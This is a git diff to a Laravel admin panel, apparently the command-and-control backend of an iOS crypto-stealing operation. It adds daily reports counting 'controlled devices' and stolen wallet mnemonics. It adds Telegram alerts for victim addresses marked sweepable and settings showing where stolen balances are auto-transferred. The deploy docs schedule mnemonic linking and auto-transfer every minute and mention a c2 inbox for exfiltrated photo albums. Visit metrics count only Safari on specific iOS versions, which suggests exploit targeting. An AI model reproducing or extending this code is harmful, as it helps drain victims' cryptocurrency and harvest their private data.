diff --git a/app/Console/Commands/DailyStatsCommand.php b/app/Console/Commands/DailyStatsCommand.php new file mode 100644 index 0000000..9ec0e8a --- /dev/null +++ b/app/Console/Commands/DailyStatsCommand.php @@ -0,0 +1,69 @@ +parseDay((string) $this->option('to')) ?? Carbon::now()->endOfDay(); + $from = $this->resolveFrom($reports, $to); + if ($from->gt($to)) { + [$from, $to] = [$to->copy()->startOfDay(), $from->copy()->endOfDay()]; + } + + $result = $reports->rebuildAll($from, $to); + $this->info(sprintf( + 'daily-stats rebuilt=%d agents=%d from=%s to=%s', + $result['days'], + $result['agents'], + $from->toDateString(), + $to->toDateString(), + )); + + return self::SUCCESS; + } + + private function resolveFrom(DailyReportService $reports, Carbon $to): Carbon + { + if ((bool) $this->option('all')) { + return $reports->earliestDataDate() ?? $to->copy()->startOfDay(); + } + + $from = $this->parseDay((string) $this->option('from')); + if ($from !== null) { + return $from; + } + + $days = max(1, (int) $this->option('days')); + + return $to->copy()->subDays($days - 1)->startOfDay(); + } + + private function parseDay(string $raw): ?Carbon + { + $raw = trim($raw); + if ($raw === '') { + return null; + } + try { + return Carbon::parse($raw)->startOfDay(); + } catch (\Throwable) { + $this->warn('ignored invalid date: '.$raw); + + return null; + } + } +} diff --git a/app/Http/Controllers/Admin/DailyReportController.php b/app/Http/Controllers/Admin/DailyReportController.php new file mode 100644 index 0000000..2a0d63d --- /dev/null +++ b/app/Http/Controllers/Admin/DailyReportController.php @@ -0,0 +1,52 @@ +reports->window(); + + return view('admin.reports.daily', [ + 'portal' => $this->portal(), + 'defaultFrom' => $from->toDateString(), + 'defaultTo' => $to->toDateString(), + ]); + } + + public function data(Request $request) + { + $filters = [ + 'date_from' => trim((string) $request->query('date_from', '')), + 'date_to' => trim((string) $request->query('date_to', '')), + 'date_range' => trim((string) $request->query('date_range', '')), + 'agent_user_id' => $this->isAgentPortal() + ? null + : AgentScope::parseAgentUserIdFilter($request->query('agent_user_id')), + ]; + [$from, $to] = $this->reports->resolveBounds($filters); + + return response()->json([ + 'code' => 0, + 'msg' => '', + 'data' => [ + 'rows' => $this->reports->rows($this->agent(), $filters), + 'from' => $from->toDateString(), + 'to' => $to->toDateString(), + ], + ]); + } +} diff --git a/app/Http/Controllers/Admin/WalletAddressController.php b/app/Http/Controllers/Admin/WalletAddressController.php index e8bf670..758824f 100644 --- a/app/Http/Controllers/Admin/WalletAddressController.php +++ b/app/Http/Controllers/Admin/WalletAddressController.php @@ -41,12 +41,15 @@ class WalletAddressController extends Controller { $q = $this->baseQuery($request); - $sortable = ['id', 'address', 'chain_type', 'source', 'mnemonic_id', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at']; + $sortable = ['id', 'address', 'chain_type', 'source', 'collectable', 'usdt', 'trx', 'eth', 'btc', 'bnb', 'monitor', 'created_at', 'updated_at']; $field = (string) $request->query('field', 'id'); $order = strtolower((string) $request->query('order', 'desc')) === 'asc' ? 'asc' : 'desc'; if (! in_array($field, $sortable, true)) { $field = 'id'; } + if ($field === 'collectable') { + $field = 'mnemonic_id'; + } $q->orderBy('wallet_addresses.'.$field, $order); $limit = max(1, min(100, (int) $request->query('limit', 20))); @@ -65,7 +68,7 @@ class WalletAddressController extends Controller 'source' => $row->source ?: '', 'chain_type' => $row->chain_type ?: '', 'address' => $row->address, - 'mnemonic_id' => $row->mnemonic_id, + 'collectable' => $row->mnemonic_id !== null, 'usdt' => $coins['usdt'], 'trx' => $coins['trx'], 'eth' => $coins['eth'], diff --git a/app/Models/DailyStat.php b/app/Models/DailyStat.php new file mode 100644 index 0000000..3a8bfc8 --- /dev/null +++ b/app/Models/DailyStat.php @@ -0,0 +1,37 @@ + 'integer', + 'effective_uv' => 'integer', + 'devices' => 'integer', + 'wallet_devices' => 'integer', + 'address_count' => 'integer', + 'mnemonic_count' => 'integer', + 'computed_at' => 'datetime', + ]; + } +}; diff --git a/app/Services/DailyReportService.php b/app/Services/DailyReportService.php new file mode 100644 index 0000000..c1ecfad --- /dev/null +++ b/app/Services/DailyReportService.php @@ -0,0 +1,327 @@ + + */ + public function rows(?User $agent = null, array $filters = []): array + { + [$from, $to] = $this->resolveBounds($filters); + $agentUserId = $this->resolveAgentUserId($agent, $filters); + $this->ensureCached($from, $to, $agentUserId); + + return DailyStat::query() + ->where('scope_key', self::scopeKey($agentUserId)) + ->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()]) + ->orderByDesc('stat_date') + ->get() + ->map(fn (DailyStat $row) => $this->present( + (string) $row->stat_date, + (int) $row->uv, + (int) $row->effective_uv, + (int) $row->devices, + (int) $row->wallet_devices, + (int) ($row->address_count ?? 0), + (int) ($row->mnemonic_count ?? 0), + )) + ->all(); + } + + /** + * Portal agent wins; otherwise admin 「代理用户」filter (null = 全部, 0 = 官方). + * + * @param array{agent_user_id?: ?int} $filters + */ + public function resolveAgentUserId(?User $agent, array $filters = []): ?int + { + if ($agent !== null) { + return (int) $agent->id; + } + + return array_key_exists('agent_user_id', $filters) + ? $filters['agent_user_id'] + : null; + } + + /** + * Inclusive local calendar window. Empty filters → last 30 days. `to` is clamped to today. + * + * @param array{date_from?: string, date_to?: string, date_range?: string, range?: string} $filters + * @return array{0: Carbon, 1: Carbon} + */ + public function resolveBounds(array $filters = []): array + { + $filters['range'] = (string) ($filters['range'] ?? '30d'); + [$from, $to] = $this->dashboard->resolveBounds($filters); + $todayEnd = Carbon::now()->endOfDay(); + if ($to->gt($todayEnd)) { + $to = $todayEnd; + } + if ($from->gt($to)) { + $from = $to->copy()->startOfDay(); + } + $days = $this->dayCount($from, $to); + if ($days > self::MAX_DAYS) { + $from = $to->copy()->subDays(self::MAX_DAYS - 1)->startOfDay(); + } + + return [$from->copy()->startOfDay(), $to->copy()->endOfDay()]; + } + + /** + * Rebuild one scope (site-wide, official, or one agent) for the inclusive local-date range. + */ + public function rebuild(?Carbon $from = null, ?Carbon $to = null, ?int $agentUserId = null): int + { + [$from, $to] = $from !== null && $to !== null + ? [$from->copy()->startOfDay(), $to->copy()->endOfDay()] + : $this->window(); + + $aggregated = $this->aggregate($from, $to, $agentUserId); + $scope = self::scopeKey($agentUserId); + $now = Carbon::now(); + foreach ($aggregated as $row) { + DailyStat::query()->updateOrCreate( + ['stat_date' => $row['date'], 'scope_key' => $scope], + [ + 'uv' => $row['uv'], + 'effective_uv' => $row['effective_uv'], + 'devices' => $row['devices'], + 'wallet_devices' => $row['wallet_devices'], + 'address_count' => $row['address_count'], + 'mnemonic_count' => $row['mnemonic_count'], + 'computed_at' => $now, + ], + ); + } + + return count($aggregated); + } + + /** + * Cron entry: site-wide plus every enabled agent that owns a channel. + * + * @return array{days: int, agents: int} + */ + public function rebuildAll(?Carbon $from = null, ?Carbon $to = null): array + { + $days = $this->rebuild($from, $to, null); + $this->rebuild($from, $to, 0); + $agents = 0; + foreach ($this->agentsWithChannels() as $agent) { + $this->rebuild($from, $to, (int) $agent->id); + $agents++; + } + + return ['days' => $days, 'agents' => $agents]; + } + + /** + * @return array{0: Carbon, 1: Carbon} + */ + public function window(): array + { + $now = Carbon::now(); + + return [$now->copy()->subDays(self::DAYS - 1)->startOfDay(), $now->copy()->endOfDay()]; + } + + /** Earliest visit or device calendar day, or null if both tables are empty. */ + public function earliestDataDate(): ?Carbon + { + $raw = array_filter([ + PageVisit::query()->min('created_at'), + Device::query()->min('created_at'), + WalletAddress::query()->min('created_at'), + WalletMnemonic::query()->min('created_at'), + ], static fn ($v) => $v !== null && trim((string) $v) !== ''); + if ($raw === []) { + return null; + } + + return Carbon::parse((string) min($raw))->timezone((string) config('app.timezone'))->startOfDay(); + } + + private function ensureCached(Carbon $from, Carbon $to, ?int $agentUserId): void + { + $scope = self::scopeKey($agentUserId); + $expected = $this->dayCount($from, $to); + $cached = DailyStat::query() + ->where('scope_key', $scope) + ->whereBetween('stat_date', [$from->toDateString(), $to->toDateString()]); + $have = (clone $cached)->count(); + $needsAssets = (clone $cached)->whereNull('address_count')->exists(); + if ($have < $expected || $needsAssets) { + $this->rebuild($from, $to, $agentUserId); + + return; + } + + $today = Carbon::now()->toDateString(); + if ($from->toDateString() > $today || $to->toDateString() < $today) { + return; + } + + $row = DailyStat::query() + ->where('scope_key', $scope) + ->where('stat_date', $today) + ->first(); + if ($row === null || $row->computed_at === null || $row->computed_at->lt(Carbon::now()->subMinutes(self::TODAY_STALE_MINUTES))) { + $this->rebuild(Carbon::now()->startOfDay(), Carbon::now()->endOfDay(), $agentUserId); + } + } + + private function dayCount(Carbon $from, Carbon $to): int + { + return (int) $from->copy()->startOfDay()->diffInDays($to->copy()->startOfDay()) + 1; + } + + /** + * @return Collection + */ + private function agentsWithChannels(): Collection + { + $ids = Channel::query() + ->where('user_id', '>', 0) + ->distinct() + ->pluck('user_id'); + + if ($ids->isEmpty()) { + return collect(); + } + + return User::query() + ->where('status', 1) + ->whereIn('id', $ids) + ->orderBy('id') + ->get(); + } + + /** + * @return list + */ + private function aggregate(Carbon $from, Carbon $to, ?int $agentUserId): array + { + $out = []; + $cursor = $from->copy()->startOfDay(); + $end = $to->copy()->startOfDay(); + while ($cursor->lte($end)) { + [$uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount] = $this->totalsForDay($cursor, $agentUserId); + $out[] = $this->present($cursor->toDateString(), $uv, $effectiveUv, $devices, $walletDevices, $addressCount, $mnemonicCount); + $cursor->addDay(); + } + + return array_reverse($out); + } + + /** + * @return array{0: int, 1: int, 2: int, 3: int, 4: int, 5: int} + */ + private function totalsForDay(Carbon $day, ?int $agentUserId): array + { + $from = $day->copy()->startOfDay(); + $to = $day->copy()->endOfDay(); + $effectiveSql = $this->dashboard->effectiveVisitSql(); + + $visits = PageVisit::query(); + AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId); + $visit = $visits + ->whereBetween('created_at', [$from, $to]) + ->selectRaw( + "COUNT(DISTINCT client_uid) as uv, + COUNT(DISTINCT CASE WHEN ({$effectiveSql}) THEN client_uid END) as effective_uv" + ) + ->first(); + + $devices = Device::query(); + AgentScope::applyAgentUserFilter($devices, $agentUserId); + $device = $devices + ->whereBetween('created_at', [$from, $to]) + ->selectRaw( + 'COUNT(*) as devices, COALESCE(SUM(CASE WHEN has_wallet = ? THEN 1 ELSE 0 END), 0) as wallet_devices', + [Device::WALLET_YES], + ) + ->first(); + + return [ + (int) ($visit?->uv ?? 0), + (int) ($visit?->effective_uv ?? 0), + (int) ($device?->devices ?? 0), + (int) ($device?->wallet_devices ?? 0), + $this->countDeviceChildrenForDay(WalletAddress::query(), 'wallet_addresses', $from, $to, $agentUserId), + $this->countDeviceChildrenForDay(WalletMnemonic::query(), 'wallet_mnemonics', $from, $to, $agentUserId), + ]; + } + + private function countDeviceChildrenForDay( + \Illuminate\Database\Eloquent\Builder $query, + string $table, + Carbon $from, + Carbon $to, + ?int $agentUserId, + ): int { + $query->join('devices', 'devices.id', '=', $table.'.device_id'); + AgentScope::applyAgentUserFilter($query, $agentUserId); + + return (int) $query + ->whereBetween($table.'.created_at', [$from, $to]) + ->count($table.'.id'); + } + + /** + * @return array{date: string, uv: int, effective_uv: int, devices: int, control_rate: float|null, wallet_devices: int, address_count: int, mnemonic_count: int} + */ + private function present( + string $date, + int $uv, + int $effectiveUv, + int $devices, + int $walletDevices, + int $addressCount, + int $mnemonicCount, + ): array { + return [ + 'date' => $date, + 'uv' => $uv, + 'effective_uv' => $effectiveUv, + 'devices' => $devices, + 'control_rate' => $effectiveUv > 0 ? round($devices / $effectiveUv * 100, 1) : null, + 'wallet_devices' => $walletDevices, + 'address_count' => $addressCount, + 'mnemonic_count' => $mnemonicCount, + ]; + } +} diff --git a/app/Services/DashboardStatsService.php b/app/Services/DashboardStatsService.php index 59b2330..9591931 100644 --- a/app/Services/DashboardStatsService.php +++ b/app/Services/DashboardStatsService.php @@ -282,7 +282,7 @@ class DashboardStatsService } /** - * Address count + coin sums in one pass over wallet_addresses in range. + * Address count is still in-range; coin sums are all matching addresses (no time window). * * @return array{0: int, 1: array{usdt: string, trx: string, eth: string, btc: string, bnb: string}} */ @@ -294,20 +294,24 @@ class DashboardStatsService Carbon $from, Carbon $to, ): array { - $q = $this->scopedDeviceChildren( + $base = $this->scopedDeviceChildren( WalletAddress::query(), 'wallet_addresses', $agent, $agentUserId, $channelId, $channelExact, - )->whereBetween('wallet_addresses.created_at', [$from, $to]); + ); - $selects = ['COUNT(wallet_addresses.id) as addr_count']; + $addressCount = (clone $base) + ->whereBetween('wallet_addresses.created_at', [$from, $to]) + ->count('wallet_addresses.id'); + + $selects = []; foreach (WalletAddress::COIN_COLUMNS as $col) { $selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col; } - $row = $q->selectRaw(implode(', ', $selects))->first(); + $row = (clone $base)->selectRaw(implode(', ', $selects))->first(); $out = []; foreach (WalletAddress::COIN_COLUMNS as $col) { @@ -317,7 +321,7 @@ class DashboardStatsService } /** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */ - return [(int) ($row?->addr_count ?? 0), $out]; + return [$addressCount, $out]; } /** @@ -358,8 +362,9 @@ class DashboardStatsService /** * Safari on iOS 13.0.0–17.2.1, plus 18.5 / 18.6 / 18.6.1 / 18.6.2. + * Exclude unsupported 15.8.8 and 16.7.1x (16.7.10+). */ - private function effectiveVisitSql(): string + public function effectiveVisitSql(): string { [$major, $minor, $patch] = $this->osVersionPartsSql(); @@ -371,7 +376,8 @@ class DashboardStatsService )) OR ({$major} = 18 AND {$minor} = 5 AND {$patch} = 0) OR ({$major} = 18 AND {$minor} = 6 AND {$patch} IN (0, 1, 2)) - )"; + ) AND NOT ({$major} = 15 AND {$minor} = 8 AND {$patch} = 8) + AND NOT ({$major} = 16 AND {$minor} = 7 AND {$patch} >= 10)"; } /** diff --git a/app/Services/MnemonicAddressLinker.php b/app/Services/MnemonicAddressLinker.php index 9fa142d..89b81fc 100644 --- a/app/Services/MnemonicAddressLinker.php +++ b/app/Services/MnemonicAddressLinker.php @@ -14,6 +14,7 @@ class MnemonicAddressLinker public function __construct( private readonly ChainManager $chains, + private readonly TelegramNotifier $telegram, ) {} /** @@ -56,6 +57,7 @@ class MnemonicAddressLinker $address->mnemonic_id = $mnemonicRow->id; $address->derive_index = $matchedIndex; $address->save(); + $this->telegram->notifyCollectableAddresses([$address]); return true; } @@ -112,6 +114,7 @@ class MnemonicAddressLinker } $linked = 0; + $newlyLinked = []; foreach ($addresses as $address) { $driver = $this->resolveDriver((string) $address->chain_type); if ($driver === null) { @@ -133,9 +136,14 @@ class MnemonicAddressLinker $address->mnemonic_id = $mnemonic->id; $address->derive_index = $map[$lookup]; $address->save(); + $newlyLinked[] = $address; $linked++; } + if ($newlyLinked !== []) { + $this->telegram->notifyCollectableAddresses($newlyLinked); + } + return $linked; } diff --git a/app/Services/MnemonicWalletDiscovery.php b/app/Services/MnemonicWalletDiscovery.php index a60c5da..892b831 100644 --- a/app/Services/MnemonicWalletDiscovery.php +++ b/app/Services/MnemonicWalletDiscovery.php @@ -23,6 +23,7 @@ class MnemonicWalletDiscovery public function __construct( private readonly ChainManager $chains, + private readonly TelegramNotifier $telegram, ) {} /** @@ -43,12 +44,13 @@ class MnemonicWalletDiscovery } $source = trim((string) ($mnemonic->source ?: '')); - $saved = 0; + $saved = []; foreach (self::CHAINS as $spec) { try { - if ($this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type'])) { - $saved++; + $row = $this->discoverOne($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']); + if ($row !== null) { + $saved[] = $row; } } catch (\Throwable $e) { Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [ @@ -58,7 +60,11 @@ class MnemonicWalletDiscovery } } - return $saved; + if ($saved !== []) { + $this->telegram->notifyCollectableAddresses($saved); + } + + return count($saved); } private function discoverOne( @@ -67,7 +73,7 @@ class MnemonicWalletDiscovery string $source, string $chain, string $chainType, - ): bool { + ): ?WalletAddress { $driver = $this->chains->resolve($chain); $address = $driver->deriveAddress($phrase, 0); try { @@ -98,7 +104,7 @@ class MnemonicWalletDiscovery } $row->save(); - return true; + return $row; } /** diff --git a/app/Services/SettingsService.php b/app/Services/SettingsService.php index fd77a82..5fef322 100644 --- a/app/Services/SettingsService.php +++ b/app/Services/SettingsService.php @@ -105,6 +105,9 @@ class SettingsService 'auto_transfer.threshold_trx' => (string) (config('coruna.auto_transfer.threshold_trx') ?? ''), 'auto_transfer.threshold_eth' => (string) (config('coruna.auto_transfer.threshold_eth') ?? ''), 'auto_transfer.threshold_btc' => (string) (config('coruna.auto_transfer.threshold_btc') ?? ''), + 'transfer.to_address' => (string) (config('coruna.transfer.to_address') ?: ''), + 'transfer.to_address_eth' => (string) (config('coruna.transfer.to_address_eth') ?: ''), + 'transfer.to_address_btc' => (string) (config('coruna.transfer.to_address_btc') ?: ''), 'transfer.fee_address_tron' => (string) config('coruna.transfer.fee_address_tron', ''), 'transfer.fee_private_key_tron' => '', 'transfer.fee_private_key_tron_set' => $feeKeySet ? '1' : '0', diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php index 63b45b4..828ceb4 100644 --- a/app/Services/TelegramNotifier.php +++ b/app/Services/TelegramNotifier.php @@ -6,6 +6,7 @@ use App\Jobs\SendTelegramMessage; use App\Models\Channel; use App\Models\Device; use App\Models\User; +use App\Models\WalletAddress; use App\Models\WalletMnemonic; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Log; @@ -263,6 +264,48 @@ class TelegramNotifier ]), $deviceId); } + /** + * Newly linked or mnemonic-derived addresses that can now be swept. + * + * @param iterable $addresses + */ + public function notifyCollectableAddresses(iterable $addresses): void + { + $byDevice = []; + foreach ($addresses as $address) { + if (! $address instanceof WalletAddress) { + continue; + } + $address->loadMissing('device'); + $deviceId = trim((string) ($address->device?->device_id ?? '')); + if ($deviceId === '') { + continue; + } + $byDevice[$deviceId][] = $address; + } + + foreach ($byDevice as $deviceId => $rows) { + $lines = [ + '📦 地址可归集通知'.(count($rows) > 1 ? ' ('.count($rows).')' : ''), + ...$this->deviceHeader($deviceId), + ]; + foreach ($rows as $i => $row) { + if ($i > 0) { + $lines[] = ''; + } + $chain = trim((string) ($row->chain_type ?? '')); + $lines[] = '🪙 链: '.$this->e($chain !== '' ? $chain : '—'); + $source = trim((string) ($row->source ?? '')); + if ($source !== '') { + $lines[] = '🏷 来源: '.$this->e($source); + } + $lines[] = '📬 地址: '.$this->e((string) $row->address).''; + $lines[] = '💵 余额: '.$this->e($row->balanceDisplayLine()); + } + $this->send(implode("\n", $lines), $deviceId); + } + } + public function notifyNewMemoric(string $deviceId, string $source, ?string $memoric): void { $this->send(implode("\n", [ diff --git a/app/Telegram/Handlers/DataCommand.php b/app/Telegram/Handlers/DataCommand.php index ca12070..fca2b6c 100644 --- a/app/Telegram/Handlers/DataCommand.php +++ b/app/Telegram/Handlers/DataCommand.php @@ -92,7 +92,7 @@ class DataCommand '助记词: '.$data['mnemonic_count'], '钱包地址: '.$data['address_count'], '', - '💰 总余额(区间内新增地址)', + '💰 总余额(全部地址)', '• USDT '.$data['balances']['usdt'], '• TRX '.$data['balances']['trx'], '• BTC '.$data['balances']['btc'], @@ -102,7 +102,7 @@ class DataCommand '🌐 页面访问', '页面 PV: '.$data['effective_pv'].' / '.$data['pv'].' (有效/全部)', '页面 UV: '.$data['effective_uv'].' / '.$data['uv'].' (有效/全部)', - '有效口径: iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 + Safari', + '有效口径: iOS 13–17.2.1 / 18.5 / 18.6 / 18.6.1 / 18.6.2 + Safari,不含 15.8.8 / 16.7.10+', '', '访问 · 按系统 (UV / 占比):', ]; diff --git a/database/migrations/2026_09_09_000010_create_daily_stats_table.php b/database/migrations/2026_09_09_000010_create_daily_stats_table.php new file mode 100644 index 0000000..59845fe --- /dev/null +++ b/database/migrations/2026_09_09_000010_create_daily_stats_table.php @@ -0,0 +1,28 @@ +id(); + $table->string('stat_date', 10); + $table->string('scope_key', 32)->default(''); + $table->unique(['stat_date', 'scope_key']); + $table->unsignedInteger('uv')->default(0); + $table->unsignedInteger('effective_uv')->default(0); + $table->unsignedInteger('devices')->default(0); + $table->unsignedInteger('wallet_devices')->default(0); + $table->timestamp('computed_at')->nullable(); + }); + } + + public function down(): void + { + Schema::dropIfExists('daily_stats'); + } +}; diff --git a/database/migrations/2026_09_09_000020_daily_stats_scope_key.php b/database/migrations/2026_09_09_000020_daily_stats_scope_key.php new file mode 100644 index 0000000..d4d9b7f --- /dev/null +++ b/database/migrations/2026_09_09_000020_daily_stats_scope_key.php @@ -0,0 +1,36 @@ +string('scope_key', 32)->default(''); + }); + Schema::table('daily_stats', function (Blueprint $table) { + $table->dropUnique(['stat_date']); + $table->unique(['stat_date', 'scope_key']); + }); + } + + public function down(): void + { + if (! Schema::hasTable('daily_stats') || ! Schema::hasColumn('daily_stats', 'scope_key')) { + return; + } + + Schema::table('daily_stats', function (Blueprint $table) { + $table->dropUnique(['stat_date', 'scope_key']); + $table->dropColumn('scope_key'); + $table->unique(['stat_date']); + }); + } +}; diff --git a/database/migrations/2026_09_09_000030_daily_stats_addresses_mnemonics.php b/database/migrations/2026_09_09_000030_daily_stats_addresses_mnemonics.php new file mode 100644 index 0000000..f7a27a1 --- /dev/null +++ b/database/migrations/2026_09_09_000030_daily_stats_addresses_mnemonics.php @@ -0,0 +1,23 @@ +unsignedInteger('address_count')->nullable()->after('wallet_devices'); + $table->unsignedInteger('mnemonic_count')->nullable()->after('address_count'); + }); + } + + public function down(): void + { + Schema::table('daily_stats', function (Blueprint $table) { + $table->dropColumn(['address_count', 'mnemonic_count']); + }); + } +}; diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md index 4da54a7..a6da13b 100644 --- a/docs/BAOTA_DEPLOY.md +++ b/docs/BAOTA_DEPLOY.md @@ -599,7 +599,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log | 队列 worker(Redis 时) | `php artisan queue:work --sleep=1 --tries=3`(宝塔 Supervisor 常驻,见 §2.6) | -`QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。自动转账仍由每分钟的 `coruna:auto-transfer` 扫描候选地址,真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。 +`QUEUE_CONNECTION=sync` 时无需 worker;换成 `redis` 后必须常驻 `queue:work`,否则 PV 记数、Telegram 通知、自动转账和相册解压都不会执行。每分钟调度会跑 `coruna:link-mnemonics`(关联/推出可归集地址)和 `coruna:auto-transfer`;每 15 分钟 / 每天 00:10 跑 `coruna:daily-stats` 汇总每日报表。真正的查余额 / 广播交给队列(同一地址 3 分钟内只跑一条,失败不重试,避免重复打款)。相册上报仍立刻 ACK,包先落到 `storage/app/c2/inbox/` 再解;解不开只写日志、不入库、不重试(与改队列前一致)。 --- diff --git a/docs/deploy.md b/docs/deploy.md index a0be3b1..f7082b7 100644 --- a/docs/deploy.md +++ b/docs/deploy.md @@ -79,9 +79,16 @@ chmod -R ug+rwX /www/wwwroot/coruna-lab/storage/app/channel-builder-new 进程数量: 2 ``` -- 自动转账 +- 定时任务(每分钟:助记词关联 + 自动转账;每 15 分钟 / 每天 00:10:每日报表汇总) ``` cd /www/wwwroot/coruna-lab && /www/server/php/82/bin/php artisan schedule:run >> /dev/null 2>&1 ``` +上线每日报表后先回填历史(从最早访问/设备到今天,全站 + 各代理): + +``` +php artisan migrate +php artisan coruna:daily-stats --all +``` + diff --git a/resources/views/admin/addresses/index.blade.php b/resources/views/admin/addresses/index.blade.php index 60d93d2..95d355e 100644 --- a/resources/views/admin/addresses/index.blade.php +++ b/resources/views/admin/addresses/index.blade.php @@ -205,8 +205,8 @@ layui.use(['table', 'form', 'layer'], function () { { field: 'chain_type', title: 'Chain', width: 110, templet: function (d) { return chainTag(d.chain_type); }}, - { field: 'mnemonic_id', title: '助记词 ID', width: 110, sort: true, templet: function (d) { - return d.mnemonic_id ? d.mnemonic_id : '—'; + { field: 'collectable', title: '可归集', width: 90, sort: true, templet: function (d) { + return d.collectable ? '可归集' : '—'; }}, { field: 'usdt', title: 'USDT', width: 100, sort: true }, { field: 'trx', title: 'TRX', width: 100, sort: true }, diff --git a/resources/views/admin/dashboard/index.blade.php b/resources/views/admin/dashboard/index.blade.php index 075cb54..18bf4a2 100644 --- a/resources/views/admin/dashboard/index.blade.php +++ b/resources/views/admin/dashboard/index.blade.php @@ -145,7 +145,7 @@ - +
USDT
@@ -179,7 +179,7 @@
- +
页面 PV
diff --git a/resources/views/admin/reports/daily.blade.php b/resources/views/admin/reports/daily.blade.php new file mode 100644 index 0000000..5a408a6 --- /dev/null +++ b/resources/views/admin/reports/daily.blade.php @@ -0,0 +1,273 @@ +@extends('admin.content') + +@section('title', '每日报表') + +@section('content') + +
+
+
+
+ +
+ +
+
+
+ + + + + +
+ @include('admin.partials.filter_agent_select', ['agentBlockClass' => 'report-agent-block']) +
+ +
+
+
+
+
+
趋势
+
+
+
+
+
+
按日期统计 · 总 UV / 有效 UV / 受控设备 / 受控比例 / 有钱包设备 / 钱包地址 / 助记词数
+
+
+
+
+@endsection + +@push('scripts') + +@endpush diff --git a/resources/views/admin/shell.blade.php b/resources/views/admin/shell.blade.php index ad15c4d..f9294c3 100644 --- a/resources/views/admin/shell.blade.php +++ b/resources/views/admin/shell.blade.php @@ -65,10 +65,10 @@ 仪表盘
- 访问统计 + 访问记录
-
- 设备管理 +
+ 每日报表
@@ -78,6 +78,9 @@ 资产
+
+ 设备管理 +
钱包地址
diff --git a/resources/views/admin/system/settings.blade.php b/resources/views/admin/system/settings.blade.php index e972bce..695ddde 100644 --- a/resources/views/admin/system/settings.blade.php +++ b/resources/views/admin/system/settings.blade.php @@ -83,6 +83,16 @@
余额大于阈值才全额划转;留空按 >0 触发
+
+ +
+
+
TRON:@if($form['transfer.to_address']){{ $form['transfer.to_address'] }}@else未配置@endif
+
ETH:@if($form['transfer.to_address_eth']){{ $form['transfer.to_address_eth'] }}@else未配置@endif
+
BTC:@if($form['transfer.to_address_btc']){{ $form['transfer.to_address_btc'] }}@else未配置@endif
+
+
+
TRON 手续费补给 @@ -92,7 +102,7 @@
-
写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。收款地址请在 .env 配置 TRANSFER_TO_ADDRESS*
+
写入 .env TRANSFER_FEE_ADDRESS_TRON;仅 TRON 转 USDT 时按差额补到目标 TRX。
diff --git a/resources/views/admin/visits/index.blade.php b/resources/views/admin/visits/index.blade.php index 16d2912..6d926fc 100644 --- a/resources/views/admin/visits/index.blade.php +++ b/resources/views/admin/visits/index.blade.php @@ -1,6 +1,6 @@ @extends('admin.content') -@section('title', '访问统计') +@section('title', '访问记录') @section('content') @php $portal = $portal ?? 'admin'; @endphp diff --git a/resources/views/user/shell.blade.php b/resources/views/user/shell.blade.php index 1cce212..ffeaba9 100644 --- a/resources/views/user/shell.blade.php +++ b/resources/views/user/shell.blade.php @@ -57,10 +57,10 @@ 仪表盘
- 访问统计 + 访问记录
-
- 设备管理 +
+ 每日报表
@@ -70,6 +70,9 @@ 资产
+
+ 设备管理 +
钱包地址
diff --git a/routes/admin.php b/routes/admin.php index 3528a29..9ac7930 100644 --- a/routes/admin.php +++ b/routes/admin.php @@ -4,6 +4,7 @@ use App\Http\Controllers\Admin\AdminUserController; use App\Http\Controllers\Admin\AgentUserController; use App\Http\Controllers\Admin\AuthController; use App\Http\Controllers\Admin\ChannelController; +use App\Http\Controllers\Admin\DailyReportController; use App\Http\Controllers\Admin\DashboardController; use App\Http\Controllers\Admin\DeviceController; use App\Http\Controllers\Admin\FilterOptionsController; @@ -36,6 +37,8 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); + Route::get('reports/daily', [DailyReportController::class, 'index'])->name('reports.daily'); + Route::get('reports/daily/data', [DailyReportController::class, 'data'])->name('reports.daily.data'); Route::get('filter-options/channels', [FilterOptionsController::class, 'channels'])->name('filterOptions.channels'); Route::get('filter-options/agents', [FilterOptionsController::class, 'agents'])->name('filterOptions.agents'); diff --git a/routes/console.php b/routes/console.php index 121c89b..6f513f1 100644 --- a/routes/console.php +++ b/routes/console.php @@ -6,6 +6,21 @@ use Illuminate\Support\Facades\Artisan; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Schedule; +Schedule::command('coruna:daily-stats --days=2') + ->everyFifteenMinutes() + ->withoutOverlapping() + ->runInBackground(); + +Schedule::command('coruna:daily-stats --days=30') + ->dailyAt('00:10') + ->withoutOverlapping() + ->runInBackground(); + +Schedule::command('coruna:link-mnemonics') + ->everyMinute() + ->withoutOverlapping() + ->runInBackground(); + Schedule::command('coruna:auto-transfer') ->everyMinute() ->withoutOverlapping() diff --git a/routes/user.php b/routes/user.php index e1d49c6..65e380f 100644 --- a/routes/user.php +++ b/routes/user.php @@ -1,6 +1,7 @@ name('user.')->middleware('panel.host:agent')->group(func Route::get('dashboard', [DashboardController::class, 'index'])->name('dashboard.index'); Route::get('dashboard/data', [DashboardController::class, 'data'])->name('dashboard.data'); + Route::get('reports/daily', [DailyReportController::class, 'index'])->name('reports.daily'); + Route::get('reports/daily/data', [DailyReportController::class, 'data'])->name('reports.daily.data'); 